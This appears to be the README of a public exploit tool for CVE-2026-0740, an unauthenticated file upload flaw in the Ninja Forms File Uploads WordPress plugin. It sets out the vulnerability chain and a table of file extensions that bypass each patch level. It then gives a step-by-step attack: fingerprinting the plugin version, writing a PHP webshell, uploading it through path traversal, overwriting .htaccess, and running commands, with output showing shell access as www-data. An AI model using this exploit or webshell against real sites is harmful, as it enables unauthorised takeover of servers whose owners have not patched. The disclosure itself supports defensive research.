
Ninja Forms File Uploads <= 3.3.26 - Unauthenticated Arbitrary File Upload to RCE (CVE-2026-0740)
Exploit for CVE-2026-0740 discovered by Selim Lanouar (whattheslime).
For a complete technical deep dive, read the full article on Lexfo's blog.
This repository is provided for research and defensive security purposes only.
The author assumes no responsibility for misuse of this information.
The Ninja Forms - File Uploads plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Upload leading to Remote Code Execution in all versions up to and including 3.3.26.
The vulnerability was originally discovered and reported on version 3.3.23. Exploitation is straightforward up to version 3.3.24 (no validation on the destination filename). Versions 3.3.25 and 3.3.26 introduced successive partial patches, but the issue is fully resolved only in version 3.3.27.
The vulnerability chain is as follows:
nf_fu_get_new_nonce AJAX action with an arbitrary field_id.nf_fu_upload handler validates the uploaded file's extension (e.g. image.jpg), but allows the client to override the destination filename via a POST parameter (image_jpg).move_uploaded_file() without proper sanitization, enabling arbitrary extensions and path traversal (../).| Vector / Extension | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|---|---|---|---|
Path traversal (../) | PASS | - | - | - |
.php | PASS | - | - | - |
.phtml, .phar | PASS | PASS | - | - |
.pht | PASS | PASS | PASS | - |
.html, .svg, .js | PASS | PASS | PASS | - |
See the full blog post for the complete extension table and technical deep dive.
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python3 CVE-2026-0740.py -h
python3 CVE-2026-0740.py -t http://localhost:8000 -f test.txt
The file will be written to wp-content/uploads/ninja-forms/tmp/test.txt.
python3 CVE-2026-0740.py -t http://localhost:8000 -f webshell.php -d ../../../webshell.php
The file will be written to wp-content/webshell.php.
python3 CVE-2026-0740.py -t http://localhost:8000 -f evil-htaccess -d .htaccess
# 1. Detect version
httpx -fr -u http://localhost:8000 -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+' 2>/dev/null
http://localhost:8000 [nfpluginsettings.js?ver=3.3.24]
# 2. Write webshell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/slime.php
# 3. Upload
python3 CVE-2026-0740.py -t http://localhost:8000 -f /tmp/slime.php -d ../ws.php
[2026-04-07] [20:20:11] [info] [http://localhost:8000] Fetch nonce for random field_id: 3711569793384815...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] Got ninja-forms-upload nonce: a320b7ed4a
[2026-04-07] [20:20:12] [info] [http://localhost:8000] Uploading slime.php as ../ws.php via POST parameter...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] File uploaded at: http://localhost:8000/wp-content/uploads/ninja-forms/ws.php
# 4. Execute commands
curl http://localhost:8000/wp-content/uploads/ninja-forms/ws.php\?cmd\=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)